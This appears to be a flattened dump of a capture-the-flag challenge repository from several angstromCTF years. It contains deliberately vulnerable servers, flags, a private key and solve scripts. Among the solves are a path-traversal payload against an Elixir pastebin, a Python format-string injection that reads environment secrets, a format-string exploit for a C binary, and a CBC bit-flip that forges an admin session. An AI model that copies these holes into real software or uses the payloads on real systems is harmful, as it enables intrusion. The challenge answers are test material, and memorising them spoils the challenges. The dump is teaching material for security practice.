15 | Get me! (if you're authorized) 16 |
17 | 21 | 22 | -------------------------------------------------------------------------------- /angstromctf-2018/gif/frames/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gif/frames/1.png -------------------------------------------------------------------------------- /angstromctf-2018/gif/frames/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gif/frames/2.png -------------------------------------------------------------------------------- /angstromctf-2018/gif/frames/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gif/frames/3.png -------------------------------------------------------------------------------- /angstromctf-2018/gif/frames/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gif/frames/4.png -------------------------------------------------------------------------------- /angstromctf-2018/gif/frames/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gif/frames/5.png -------------------------------------------------------------------------------- /angstromctf-2018/gif/frames/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gif/frames/6.png -------------------------------------------------------------------------------- /angstromctf-2018/gif/frames/7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gif/frames/7.png -------------------------------------------------------------------------------- /angstromctf-2018/gif/frames/8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gif/frames/8.png -------------------------------------------------------------------------------- /angstromctf-2018/gif/jiggs.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gif/jiggs.gif -------------------------------------------------------------------------------- /angstromctf-2018/gmx/flag.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gmx/flag.enc -------------------------------------------------------------------------------- /angstromctf-2018/gmx/gmx.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gmx/gmx.zip -------------------------------------------------------------------------------- /angstromctf-2018/gmx/pk: -------------------------------------------------------------------------------- 1 | 27139103193315339033295636715287379876477458783710062142205491300228004967766582251229537073734060833345520109174649072439873894733882892336500884194503295874665631235172074932338049458979878433449939014526122448747869757614155055798280696101995779133135539070534667459247143654178469066050923702501148113818831962558374543364216291806419723367604403166071401864212498515798828892056556847106214152329306561136993545777080985800003647839225708244240752559239395234227513969117455886656146452545473657096677996906385062466940390467974519521568124312000377355286888015894223593537028705723979629868785930928055401862219 2 | 1003377402037839312498279941872590022992677681881257552267834610687786674873089513440701146957514498832266202237382192589259606460260982639655327038371835455117206275125879515350674281844373470679607294414881557052918597693388200449536535848481157543139504436706073674458691763531717148017691454832653363454585066393344522827181847831686013131875151472358458150040124483409012487777043219934321027193030173405263380102768429109685851372467312821837342771188467544345404843024196244832596185429810161005820350198902609223228650945120670893743534262637423095651964238175498110713944181633922912779616269645761065657810 -------------------------------------------------------------------------------- /angstromctf-2018/gmx/problem.yml: -------------------------------------------------------------------------------- 1 | title: gmx 2 | author: defund 3 | value: 160 4 | text: | 5 | defund created a nonconformist hybrid cryptosystem. He even 6 | made a service running at `web.angstromctf.com:3000`; here's 7 | the [public key]({{ pk }}). All you have to do is decrypt 8 | this [flag]({{ flag.enc }}), which was encrypted with this 9 | [key]({{ key.enc }}). We've also provided the relevant 10 | [source code]({{ gmx.zip }}). 11 | Note: connect with netcat or an equivalent tool. 12 | hint: Good luck! 13 | flag: actf{a_bit_of_homomorphism} 14 | files: 15 | - flag.enc 16 | - gmx.zip 17 | - key.enc 18 | - pk 19 | deploy: 20 | type: docker 21 | ports: 22 | 3000: 3000 -------------------------------------------------------------------------------- /angstromctf-2018/gmx/source/aes.py: -------------------------------------------------------------------------------- 1 | from Crypto import Random 2 | from Crypto.Cipher import AES 3 | 4 | def encrypt(k, m): 5 | iv = Random.new().read(16) 6 | cipher = AES.new(k, AES.MODE_CFB, iv) 7 | return iv + cipher.encrypt(m) 8 | 9 | def decrypt(k, c): 10 | cipher = AES.new(k, AES.MODE_CFB, c[:16]) 11 | return cipher.decrypt(c[16:]) -------------------------------------------------------------------------------- /angstromctf-2018/gmx/source/flag: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gmx/source/flag -------------------------------------------------------------------------------- /angstromctf-2018/gmx/source/flag.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gmx/source/flag.enc -------------------------------------------------------------------------------- /angstromctf-2018/gmx/source/gen.py: -------------------------------------------------------------------------------- 1 | from Crypto import Random 2 | 3 | import aes 4 | import gm 5 | 6 | flag = open('flag').read() 7 | 8 | key = Random.new().read(16) 9 | pk, sk = gm.generate() 10 | 11 | encflag = aes.encrypt(key, flag) 12 | enckey = gm.encrypt(key, pk) 13 | 14 | with open('pk', 'w') as f: 15 | f.write('\n'.join([str(x) for x in pk])) 16 | 17 | with open('sk', 'w') as f: 18 | f.write('\n'.join([str(x) for x in sk])) 19 | 20 | with open('key.enc', 'w') as f: 21 | f.write('\n'.join([str(x) for x in enckey])) 22 | 23 | with open('flag.enc', 'w') as f: 24 | f.write(encflag) -------------------------------------------------------------------------------- /angstromctf-2018/gmx/source/gm.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import * 2 | from gmpy2 import legendre 3 | 4 | def generate(): 5 | p = getStrongPrime(1024) 6 | q = getStrongPrime(1024) 7 | n = p*q 8 | x = getRandomRange(0, n) 9 | while legendre(x, p) != -1 or legendre(x, q) != -1: 10 | x = getRandomRange(0, n) 11 | return (n, x), (p, q) 12 | 13 | def encrypt(m, pk): 14 | n, x = pk 15 | for b in format(int(m.encode('hex'), 16), 'b').zfill(len(m) * 8): 16 | y = getRandomRange(0, n) 17 | yield pow(y, 2) * pow(x, int(b)) % n 18 | 19 | def decrypt(c, sk): 20 | p, q = sk 21 | m = 0 22 | for z in c: 23 | m <<= 1 24 | if legendre(z % p, p) != 1 or legendre(z % q, q) != 1: 25 | m += 1 26 | h = '%x' % m 27 | l = len(h) 28 | return h.zfill(l + l % 2).decode('hex') -------------------------------------------------------------------------------- /angstromctf-2018/gmx/source/message: -------------------------------------------------------------------------------- 1 | Hi, this is defund and you're reading my super secret message! Unfortunately, getting this message is not the challenge whatsoever. I don't have much else to talk about, so I guess follow me at github.com/defund, twitter.com/defunded, and keybase.io/defund. 2 | 3 | Also, here's a fake flag that you're going to submit anyways: 4 | actf{this_is_a_fake_flag} 5 | 6 | Good luck with the challenge! ;) -------------------------------------------------------------------------------- /angstromctf-2018/gmx/source/pk: -------------------------------------------------------------------------------- 1 | 27139103193315339033295636715287379876477458783710062142205491300228004967766582251229537073734060833345520109174649072439873894733882892336500884194503295874665631235172074932338049458979878433449939014526122448747869757614155055798280696101995779133135539070534667459247143654178469066050923702501148113818831962558374543364216291806419723367604403166071401864212498515798828892056556847106214152329306561136993545777080985800003647839225708244240752559239395234227513969117455886656146452545473657096677996906385062466940390467974519521568124312000377355286888015894223593537028705723979629868785930928055401862219 2 | 1003377402037839312498279941872590022992677681881257552267834610687786674873089513440701146957514498832266202237382192589259606460260982639655327038371835455117206275125879515350674281844373470679607294414881557052918597693388200449536535848481157543139504436706073674458691763531717148017691454832653363454585066393344522827181847831686013131875151472358458150040124483409012487777043219934321027193030173405263380102768429109685851372467312821837342771188467544345404843024196244832596185429810161005820350198902609223228650945120670893743534262637423095651964238175498110713944181633922912779616269645761065657810 -------------------------------------------------------------------------------- /angstromctf-2018/gmx/source/server.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import signal 3 | import SocketServer 4 | 5 | import aes 6 | import gm 7 | 8 | PORT = 3000 9 | 10 | message = open('message').read() 11 | 12 | with open('sk') as f: 13 | p = int(f.readline()) 14 | q = int(f.readline()) 15 | sk = (p, q) 16 | 17 | class incoming(SocketServer.BaseRequestHandler): 18 | def handle(self): 19 | req = self.request 20 | 21 | def receive(): 22 | buf = '' 23 | while not buf.endswith('\n'): 24 | buf += req.recv(1) 25 | return buf[:-1] 26 | 27 | signal.alarm(60) 28 | 29 | req.sendall('Welcome to the Goldwasser-Micali key exchange!\n') 30 | req.sendall('Please send us an encrypted 128 bit key for us to use.\n') 31 | req.sendall('Each encrypted bit should be sent line by line in integer format.\n') 32 | 33 | enckey = [] 34 | for i in range(128): 35 | enckey.append(int(receive())) 36 | key = gm.decrypt(enckey, sk) 37 | encmessage = aes.encrypt(key, message) 38 | 39 | req.sendall(base64.b64encode(encmessage)+'\n') 40 | req.close() 41 | 42 | class ReusableTCPServer(SocketServer.ForkingMixIn, SocketServer.TCPServer): 43 | pass 44 | 45 | SocketServer.TCPServer.allow_reuse_address = True 46 | server = ReusableTCPServer(('0.0.0.0', PORT), incoming) 47 | 48 | print 'Server listening on port %d' % PORT 49 | server.serve_forever() -------------------------------------------------------------------------------- /angstromctf-2018/gmx/source/sk: -------------------------------------------------------------------------------- 1 | 163415157591285816256651589583051606955378305062040932586128036345373046483526341686069417785596843739368770921445133884861156984135306248763371093641706584930012796396414128919756345730221558065993148624600115640784898335593931433989814418738782772188669473077552691932038467327700292332942233485799597154327 2 | 166074577128226833552249945798825560509005177753851489292248567060376030402587435952586469014868269277455551109596049448100775873740968293341361410224831610710886556392907241049286883510989001159314754794449580492471299251109401708717756219929697627895361073929687517626331274843096497596683079777497415727597 -------------------------------------------------------------------------------- /angstromctf-2018/md5/index.php: -------------------------------------------------------------------------------- 1 | 13 | 14 | 15 | 16 |17 | People say that MD5 is broken... But they're wrong! All I have to do is use a secret salt. >:) 18 |
19 |20 | If you can find two distinct strings that—when prepended with my salt—have the same MD5 hash, I'll give you a flag. Deal? 21 |
22 |23 | Also, here's the source. 24 |
25 | 32 | 33 | -------------------------------------------------------------------------------- /angstromctf-2018/md5/secret.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /angstromctf-2018/md5/src/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 7 | 8 | -------------------------------------------------------------------------------- /angstromctf-2018/ofb/README.md: -------------------------------------------------------------------------------- 1 | The object of this challenge is to decrypt `flag.png.enc`, which was encrypted with `encrypt.py`. The encryption appears to be a stream cipher. Unfortunately, the stream is not properly randomized; every 4 bytes is the output of a linear congruential generator (LCG). 2 | 3 | The LCG's parameters are largely unknown, with the exception of the modulus. However, it is possible to recover the others with three consecutive outputs of the LCG; see `source/decrypt.py` for details. We can obtain these three outputs from the known header data of a `PNG` file, which we xor with `flag.png.enc` to produce part of the keystream. 4 | 5 | Given that we know all of the LCG parameters, we can produce the rest of the keystream, xor it with `flag.png.enc`, and decrypt the file. A full solve script is in `source/decrypt.py`. -------------------------------------------------------------------------------- /angstromctf-2018/ofb/encrypt.py: -------------------------------------------------------------------------------- 1 | import struct 2 | 3 | def lcg(m, a, c, x): 4 | return (a*x + c) % m 5 | 6 | m = pow(2, 32) 7 | 8 | with open('lcg') as f: 9 | a = int(f.readline()) 10 | c = int(f.readline()) 11 | x = int(f.readline()) 12 | 13 | d = open('flag.png').read() 14 | d += '\x00' * (-len(d) % 4) 15 | d = [d[i:i+4] for i in range(0, len(d), 4)] 16 | 17 | e = '' 18 | for i in range(len(d)): 19 | e += struct.pack('>I', x ^ struct.unpack('>I', d[i])[0]) 20 | x = lcg(m, a, c, x) 21 | 22 | with open('flag.png.enc', 'w') as f: 23 | f.write(e) 24 | f.close() -------------------------------------------------------------------------------- /angstromctf-2018/ofb/flag.png.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/ofb/flag.png.enc -------------------------------------------------------------------------------- /angstromctf-2018/ofb/problem.yml: -------------------------------------------------------------------------------- 1 | title: ofb 2 | author: defund 3 | value: 120 4 | text: | 5 | defund made a simple OFB cipher, if you can even call it 6 | that. Here's the [source]({{ encrypt.py }}) and the 7 | [encrypted flag]({{ flag.png.enc }}). 8 | hint: Good luck! 9 | flag: actf{pad_rng} 10 | files: 11 | - encrypt.py 12 | - flag.png.enc 13 | -------------------------------------------------------------------------------- /angstromctf-2018/ofb/source/decrypt.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import gmpy2 3 | 4 | def lcg(m, a, c, x): 5 | return (a*x + c) % m 6 | 7 | def xor(x, y): 8 | return struct.unpack('>I', x)[0] ^ struct.unpack('>I', y)[0] 9 | 10 | m = pow(2, 32) 11 | 12 | k = open('known').read() 13 | k = [k[i:i+4] for i in range(0, len(k), 4)] 14 | 15 | e = open('flag.png.enc').read() 16 | e = [e[i:i+4] for i in range(0, len(e), 4)] 17 | 18 | x0 = xor(k[0], e[0]) 19 | x1 = xor(k[1], e[1]) 20 | x2 = xor(k[2], e[2]) 21 | 22 | a = ((x1-x2) % m) * gmpy2.powmod(x0-x1, -1, m) % m 23 | c = (x1 - a*x0) % m 24 | x = x0 25 | 26 | d = '' 27 | for i in range(len(e)): 28 | d += struct.pack('>I', x ^ struct.unpack('>I', e[i])[0]) 29 | x = lcg(m, a, c, x) 30 | 31 | with open('flag.png', 'w') as f: 32 | f.write(d) 33 | f.close() -------------------------------------------------------------------------------- /angstromctf-2018/ofb/source/encrypt.py: -------------------------------------------------------------------------------- 1 | import struct 2 | 3 | def lcg(m, a, c, x): 4 | return (a*x + c) % m 5 | 6 | m = pow(2, 32) 7 | 8 | with open('lcg') as f: 9 | a = int(f.readline()) 10 | c = int(f.readline()) 11 | x = int(f.readline()) 12 | 13 | d = open('flag.png').read() 14 | d += '\x00' * (-len(d) % 4) 15 | d = [d[i:i+4] for i in range(0, len(d), 4)] 16 | 17 | e = '' 18 | for i in range(len(d)): 19 | e += struct.pack('>I', x ^ struct.unpack('>I', d[i])[0]) 20 | x = lcg(m, a, c, x) 21 | 22 | with open('flag.png.enc', 'w') as f: 23 | f.write(e) 24 | f.close() -------------------------------------------------------------------------------- /angstromctf-2018/ofb/source/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/ofb/source/flag.png -------------------------------------------------------------------------------- /angstromctf-2018/ofb/source/flag.png.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/ofb/source/flag.png.enc -------------------------------------------------------------------------------- /angstromctf-2018/ofb/source/gen.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | m = pow(2, 32) 4 | a = random.randint(0, m) 5 | c = random.randint(0, m) 6 | x = random.randint(0, m) 7 | 8 | with open('lcg', 'w') as f: 9 | f.write('{}\n{}\n{}'.format(a, c, x)) -------------------------------------------------------------------------------- /angstromctf-2018/ofb/source/known: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/ofb/source/known -------------------------------------------------------------------------------- /angstromctf-2018/ofb/source/lcg: -------------------------------------------------------------------------------- 1 | 3204287424 2 | 1460809397 3 | 2445943554 -------------------------------------------------------------------------------- /angstromctf-2018/pastepalooza/README.md: -------------------------------------------------------------------------------- 1 | The object of this challenge is to print the flag located in `mix.exs` on the server. The relevant code is within `utility.ex`: 2 | 3 | ```elixir 4 | defmodule Utility do 5 | 6 | def access(filename) do 7 | unsafe = "pastes/" <> filename <> ".txt" 8 | path = filter(unsafe <> <<0>>, "", String.length(unsafe)) 9 | case File.read path do 10 | {:ok, content} -> content 11 | {:error, reason} -> "File not found.\n" 12 | end 13 | end 14 | 15 | def filter(<< head, tail :: binary >>, acc, n) do 16 | if n == 0 do 17 | acc 18 | else 19 | n = n - 1 20 | if head < 33 or head > 126 do 21 | filter(tail, acc, n) 22 | else 23 | filter(tail, acc <> <>, n) 24 | end 25 | end 26 | end 27 | end 28 | ``` 29 | 30 | Firstly, notice that the service has a local file inclusion vulnerability; it does not have to read from the `pastes/` directory. However, it does append a `.txt` file extension. It then runs the `filter` function to remove any bytes with ASCII values outside of the 33-126 range. 31 | 32 | The bug in the code is that `String.length` returns the length of a Unicode string, while filter works byte by byte. If our filename has emojis, for example, it will prevent `filter` from reaching the `.txt`, effectively removing the file extension. `filter` will also remove the emoji bytes, thus leaving us with any filename. Thus, a valid payload would be `../mix.exs😀😀😀` -------------------------------------------------------------------------------- /angstromctf-2018/pastepalooza/pastepalooza.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/pastepalooza/pastepalooza.zip -------------------------------------------------------------------------------- /angstromctf-2018/pastepalooza/problem.yml: -------------------------------------------------------------------------------- 1 | title: paste palooza 2 | author: defund 3 | value: 150 4 | text: | 5 | defund made his own pastebin in a fancy programming language! 6 | As a true believer in open source projects, he also released 7 | the [source]({{ pastepalooza.zip }}). The service is running at 8 | `web.angstromctf.com:3001`. 9 | Note: connect with netcat or an equivalent tool. 10 | hint: Good luck! 11 | flag: actf{elixir_encoding} 12 | files: 13 | - pastepalooza.zip 14 | deploy: 15 | type: docker 16 | ports: 17 | 3001: 3001 18 | -------------------------------------------------------------------------------- /angstromctf-2018/pastepalooza/source/.gitignore: -------------------------------------------------------------------------------- 1 | # The directory Mix will write compiled artifacts to. 2 | /_build/ 3 | 4 | # If you run "mix test --cover", coverage assets end up here. 5 | /cover/ 6 | 7 | # The directory Mix downloads your dependencies sources to. 8 | /deps/ 9 | 10 | # Where 3rd-party dependencies like ExDoc output generated docs. 11 | /doc/ 12 | 13 | # Ignore .fetch files in case you like to edit your project deps locally. 14 | /.fetch 15 | 16 | # If the VM crashes, it generates a dump, let's ignore it too. 17 | erl_crash.dump 18 | 19 | # Also ignore archive artifacts (built via "mix archive.build"). 20 | *.ez 21 | -------------------------------------------------------------------------------- /angstromctf-2018/pastepalooza/source/config/config.exs: -------------------------------------------------------------------------------- 1 | # This file is responsible for configuring your application 2 | # and its dependencies with the aid of the Mix.Config module. 3 | use Mix.Config 4 | 5 | # This configuration is loaded before any dependency and is restricted 6 | # to this project. If another project depends on this project, this 7 | # file won't be loaded nor affect the parent project. For this reason, 8 | # if you want to provide default values for your application for 9 | # 3rd-party users, it should be done in your "mix.exs" file. 10 | 11 | # You can configure your application as: 12 | # 13 | # config :pastepalooza, key: :value 14 | # 15 | # and access this configuration in your application as: 16 | # 17 | # Application.get_env(:pastepalooza, :key) 18 | # 19 | # You can also configure a 3rd-party app: 20 | # 21 | # config :logger, level: :info 22 | # 23 | 24 | # It is also possible to import configuration files, relative to this 25 | # directory. For example, you can emulate configuration per environment 26 | # by uncommenting the line below and defining dev.exs, test.exs and such. 27 | # Configuration from the imported file will override the ones defined 28 | # here (which is why it is important to import them last). 29 | # 30 | # import_config "#{Mix.env}.exs" 31 | -------------------------------------------------------------------------------- /angstromctf-2018/pastepalooza/source/lib/pastepalooza.ex: -------------------------------------------------------------------------------- 1 | defmodule PastePalooza do 2 | require Logger 3 | 4 | def accept(port) do 5 | {:ok, socket} = :gen_tcp.listen(port, [:binary, packet: :line, active: false, reuseaddr: true]) 6 | Logger.info "Accepting connections on port #{port}" 7 | loop_acceptor(socket) 8 | end 9 | 10 | defp loop_acceptor(socket) do 11 | {:ok, client} = :gen_tcp.accept(socket) 12 | serve(client) 13 | loop_acceptor(socket) 14 | end 15 | 16 | defp serve(socket) do 17 | write_line(socket, "Welcome to Paste Palooza!\n") 18 | write_line(socket, "Currently, only the file access feature is available.\n") 19 | write_line(socket, "Access a file by entering its name: ") 20 | {:ok, filename} = read_line(socket) 21 | response = Utility.access(filename) 22 | write_line(socket, response) 23 | :gen_tcp.close(socket) 24 | end 25 | 26 | defp read_line(socket) do 27 | :gen_tcp.recv(socket, 0) 28 | end 29 | 30 | defp write_line(socket, text) do 31 | :gen_tcp.send(socket, text) 32 | end 33 | end 34 | -------------------------------------------------------------------------------- /angstromctf-2018/pastepalooza/source/lib/server.ex: -------------------------------------------------------------------------------- 1 | defmodule Server do 2 | use Application 3 | 4 | def start(_type, _args) do 5 | children = [ 6 | {Task.Supervisor, name: PastePalooza.TaskSupervisor}, 7 | Supervisor.child_spec({Task, fn -> PastePalooza.accept(3001) end}, restart: :permanent) 8 | ] 9 | 10 | opts = [strategy: :one_for_one, name: PastePalooza.Supervisor] 11 | Supervisor.start_link(children, opts) 12 | end 13 | end 14 | -------------------------------------------------------------------------------- /angstromctf-2018/pastepalooza/source/lib/utility.ex: -------------------------------------------------------------------------------- 1 | defmodule Utility do 2 | 3 | def access(filename) do 4 | unsafe = "pastes/" <> filename <> ".txt" 5 | path = filter(unsafe <> <<0>>, "", String.length(unsafe)) 6 | case File.read path do 7 | {:ok, content} -> content 8 | {:error, reason} -> "File not found.\n" 9 | end 10 | end 11 | 12 | def filter(<< head, tail :: binary >>, acc, n) do 13 | if n == 0 do 14 | acc 15 | else 16 | n = n - 1 17 | if head < 33 or head > 126 do 18 | filter(tail, acc, n) 19 | else 20 | filter(tail, acc <> <>, n) 21 | end 22 | end 23 | end 24 | end -------------------------------------------------------------------------------- /angstromctf-2018/pastepalooza/source/mix.exs: -------------------------------------------------------------------------------- 1 | defmodule PastePalooza.Mixfile do 2 | use Mix.Project 3 | 4 | def project do 5 | [ 6 | app: :pastepalooza, 7 | version: "0.1.0", 8 | elixir: "~> 1.5", 9 | start_permanent: Mix.env == :prod, 10 | deps: deps(), 11 | flag: "actf{elixir_encoding}" 12 | ] 13 | end 14 | 15 | # Run "mix help compile.app" to learn about applications. 16 | def application do 17 | [ 18 | extra_applications: [:logger], 19 | mod: {Server, []} 20 | ] 21 | end 22 | 23 | # Run "mix help deps" to learn about dependencies. 24 | defp deps do 25 | [ 26 | # {:dep_from_hexpm, "~> 0.3.0"}, 27 | # {:dep_from_git, git: "https://github.com/elixir-lang/my_dep.git", tag: "0.1.0"}, 28 | ] 29 | end 30 | end 31 | -------------------------------------------------------------------------------- /angstromctf-2018/pastepalooza/source/pastes/paste.txt: -------------------------------------------------------------------------------- 1 | paste palooza! -------------------------------------------------------------------------------- /angstromctf-2018/run-me/run_me.c: -------------------------------------------------------------------------------- 1 | #include', methods=['GET']) 36 | def view(tag): 37 | if redis.exists(tag): 38 | madlib = json.loads(redis.get(tag)) 39 | if set(request.args.keys()) == set(madlib['blanks']): 40 | return render_template('result.html', stuff=madlib['template'].format(args=request.args)) 41 | else: 42 | return render_template('fill.html', blanks=madlib['blanks']) 43 | else: 44 | abort(404) 45 | 46 | if __name__ == '__main__': 47 | app.run() -------------------------------------------------------------------------------- /angstromctf-2019/random-zkp/madlibbin/deploy/madlibbin/templates/fill.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |4 | 5 | 6 | 7 | 8 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /angstromctf-2019/random-zkp/madlibbin/deploy/madlibbin/templates/result.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |4 | 5 | 6 | 7 | 8 | 9 |madlibbin'
10 |{{ stuff }}11 |12 | 13 |14 | 15 | 16 | 21 | 22 | -------------------------------------------------------------------------------- /angstromctf-2019/random-zkp/madlibbin/deploy/requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | gunicorn 3 | redis -------------------------------------------------------------------------------- /angstromctf-2019/random-zkp/madlibbin/redis/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM redis:latest 2 | 3 | LABEL options='{"network":"madlibbin", "name":"madlibbin_redis"}' 4 | 5 | CMD ["redis-server"] -------------------------------------------------------------------------------- /angstromctf-2019/random-zkp/madlibbin/solve.py: -------------------------------------------------------------------------------- 1 | from flask import Flask 2 | from flask import request, session 3 | 4 | app = Flask(__name__) 5 | 6 | @app.route('/', methods=['GET']) 7 | def index(): 8 | string = '{args.get.__func__.__globals__[mimetypes].os.environ}'.format(args=request.args) 9 | return string 10 | 11 | if __name__ == '__main__': 12 | app.run() -------------------------------------------------------------------------------- /angstromctf-2019/returns/Makefile: -------------------------------------------------------------------------------- 1 | returns: returns.c 2 | gcc -o returns returns.c -no-pie -------------------------------------------------------------------------------- /angstromctf-2019/returns/config.yml: -------------------------------------------------------------------------------- 1 | root: '/problems' 2 | competition: '2019' 3 | name: 'returns' 4 | files: 5 | - src: 'returns' 6 | dest: 'returns' 7 | mode: 2555 8 | - src: 'flag.txt' 9 | dest: 'flag.txt' 10 | mode: 440 11 | - src: 'returns.c' 12 | dest: 'returns.c' 13 | mode: 444 14 | xinetd: 15 | port: 19307 16 | server: 'returns' 17 | -------------------------------------------------------------------------------- /angstromctf-2019/returns/flag.txt: -------------------------------------------------------------------------------- 1 | actf{no_returns_allowed} -------------------------------------------------------------------------------- /angstromctf-2019/returns/returns: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2019/returns/returns -------------------------------------------------------------------------------- /angstromctf-2019/returns/returns.c: -------------------------------------------------------------------------------- 1 | #include2 | #include 3 | #include 4 | 5 | int main() { 6 | gid_t gid = getegid(); 7 | setresgid(gid, gid, gid); 8 | setvbuf(stdin, NULL, _IONBF, 0); 9 | setvbuf(stdout, NULL, _IONBF, 0); 10 | 11 | char item[50]; 12 | printf("What item would you like to return? "); 13 | fgets(item, 50, stdin); 14 | item[strlen(item)-1] = 0; 15 | 16 | if (strcmp(item, "nothing") == 0) { 17 | printf("Then why did you even come here? "); 18 | } else { 19 | printf("We didn't sell you a "); 20 | printf(item); 21 | printf(". You're trying to scam us! We don't even sell "); 22 | printf(item); 23 | printf("s. Leave this place and take your "); 24 | printf(item); 25 | printf(" with you. "); 26 | } 27 | 28 | printf("Get out!\n"); 29 | return 0; 30 | } -------------------------------------------------------------------------------- /angstromctf-2019/returns/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import struct 3 | 4 | main = 0x0000000000400757 5 | puts_got = 0x0000000000601018 6 | loop = '%12$hn'+'%64x'+'%13$hn'+'%1815x'+'%14$hn'+'AAA\x00'+struct.pack(' 2 | 3 |Secret Sheep Society 4 | 5 | 6 | 7 |8 |41 | 42 | -------------------------------------------------------------------------------- /angstromctf-2019/secret-sheep-society/solve.py: -------------------------------------------------------------------------------- 1 | import base64 2 | 3 | from Crypto.Random import get_random_bytes 4 | from Crypto.Util.strxor import strxor 5 | 6 | from manager import Manager 7 | 8 | session = { 9 | 'admin': False, 10 | 'handle': 'defund' 11 | } 12 | 13 | key = get_random_bytes(16) 14 | manager = Manager(key) 15 | token = manager.pack(session) 16 | 17 | raw = base64.b64decode(token) 18 | iv = raw[:16] 19 | enc = raw[16:] 20 | offset = strxor(b'{"admin": false,', b'{"admin": true ,') 21 | forged = base64.b64encode(strxor(iv, offset) + enc) 22 | 23 | assert manager.unpack(forged)['admin'] -------------------------------------------------------------------------------- /angstromctf-2023/snap-circuits/flag.txt: -------------------------------------------------------------------------------- 1 | actf{L3akY_g@rbl1ng} 2 | -------------------------------------------------------------------------------- /angstromctf-2023/snap-circuits/solve.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.strxor import strxor 2 | from binteger import Bin 3 | from pwn import process 4 | 5 | nc = process(['python', 'server.py']) 6 | 7 | nc.recvuntil(b'You have ') 8 | n = int(nc.recvuntil(b' ')) 9 | 10 | for i in range(n): 11 | nc.sendlineafter(b'gate: ', f'and {i} {i}'.encode()) 12 | nc.sendlineafter(b'gate: ', f'and {i} {i}'.encode()) 13 | 14 | nc.sendlineafter(b'gate: ', b'done') 15 | 16 | in_labels = [] 17 | for _ in range(n): 18 | nc.recvuntil(b': ') 19 | key = bytes.fromhex(nc.recvuntil(b' ').decode()) 20 | ptr = int(nc.recvline()) 21 | in_labels.append((key, ptr)) 22 | 23 | nc.recvline() 24 | 25 | tables = [] 26 | for _ in range(2*n): 27 | table = [] 28 | for _ in range(4): 29 | ct = bytes.fromhex(nc.recvuntil(b' ').decode()) 30 | nc.recvline() 31 | table.append(ct) 32 | tables.append(table) 33 | 34 | bits = [] 35 | for i in range(n): 36 | table_xor = [strxor(x, y) for x, y in zip(tables[2*i], tables[2*i+1])] 37 | ptr = in_labels[i][1] 38 | ct = table_xor[2*ptr + ptr] 39 | bits.append(0 if table_xor.count(ct) == 3 else 1) 40 | 41 | print(Bin(bits).bytes) 42 | -------------------------------------------------------------------------------- /angstromctf-2023/tau-as-a-service/flag.txt: -------------------------------------------------------------------------------- 1 | actf{w3_g0t_the_p0wer_tod0_th4t} 2 | -------------------------------------------------------------------------------- /angstromctf-2023/tau-as-a-service/server.py: -------------------------------------------------------------------------------- 1 | from blspy import PrivateKey as Scalar 2 | 3 | # order of curve 4 | n = 0x73EDA753299D7D483339D80809A1D80553BDA402FFFE5BFEFFFFFFFF00000001 5 | 6 | with open('flag.txt', 'rb') as f: 7 | tau = 